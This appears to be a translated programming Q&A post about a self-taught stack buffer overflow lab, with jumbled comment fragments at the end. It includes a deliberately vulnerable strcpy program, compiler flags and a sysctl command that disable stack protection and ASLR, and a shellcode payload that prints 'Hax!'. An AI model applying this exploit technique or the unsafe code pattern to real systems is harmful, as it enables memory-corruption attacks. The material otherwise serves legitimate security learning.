Я давно читал о переполнении буфера в стеке, но решил настроить виртуальную машину и увидеть их на практике.
Уязвимой программой был следующий код:
#include<string.h>
void go(char *data){
char name[64];
strcpy(name, data);
}
int main(int argc, char **argv){
go(argv[1]);
}
Он был скомпилирован с использованием параметров -zexecstack
и -fno-stack-protector
в GCC, чтобы позволить коду в стеке быть исполняемым и отключить встроенную в программу защиту от переполнения стека (значение «канареечное»).
gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g
Затем я использовал GDB, чтобы узнать позицию памяти name
в стеке, и нашел следующий адрес: 0x7fffffffdc10
Поскольку моя виртуальная машина имеет последнюю версию Linux, мне пришлось отключить ASLR (рандомизация адресного пространства), выполнив: sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
или sudo sysctl -w kernel.randomize_va_space=0
.
Шелл-код был взят из статьи о Stack Smashing, которую я нашел в Интернете, и был загружен в программу через Perl-скрипт:
perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'
Это первые 45 байтов шелл-кода (предполагается, что на экране будет написано «Hax!»), несколько дополнительных 27 байтов «A» для установки указателя в правильное положение и, наконец, начальный адрес полезной нагрузки с прямым порядком байтов.
Проблема в следующем:
При запуске программы в GDB через:
gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
Я могу запустить шелл-код и "Hax!" вывод.
При попытке запустить программу вне GDB, например
./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
Я получаю ошибку Illegal instruction (core dumped)
вместо "Hax!" вывод.
Я ломал голову, пытаясь понять, в чем причина такого другого поведения. По-видимому, GDB отключает ASLR по умолчанию, однако я также отключил его через sysctl
в ядре. Может ли ядро игнорировать переменную kernel.randomize_va_space
? А может адрес памяти разный, пусть и статический, на GDB и на реальном процессе? Или, может быть, реальный процесс на самом деле запускает шелл-код, но что-то идет не так в реальном процессе, который GDB игнорирует/обходит?
Любые идеи о том, что может быть причиной?
-m32
) Я не знаю подробностей, но знаю, что x86_64 имеет дополнительные барьеры для создания исполняемого стека. (нет, я не знаю, почему это работает в GDB:)
- person David C. Rankin   schedule 28.08.2016-zexecstack
? Я считаю, что это не проблема, потому что я скомпилировал код для тестирования полезной нагрузки шеллкода, который объявил переменную, содержащую коды операций (в стеке), и выполнил ее через указатель на функцию. - person murphsghost   schedule 28.08.2016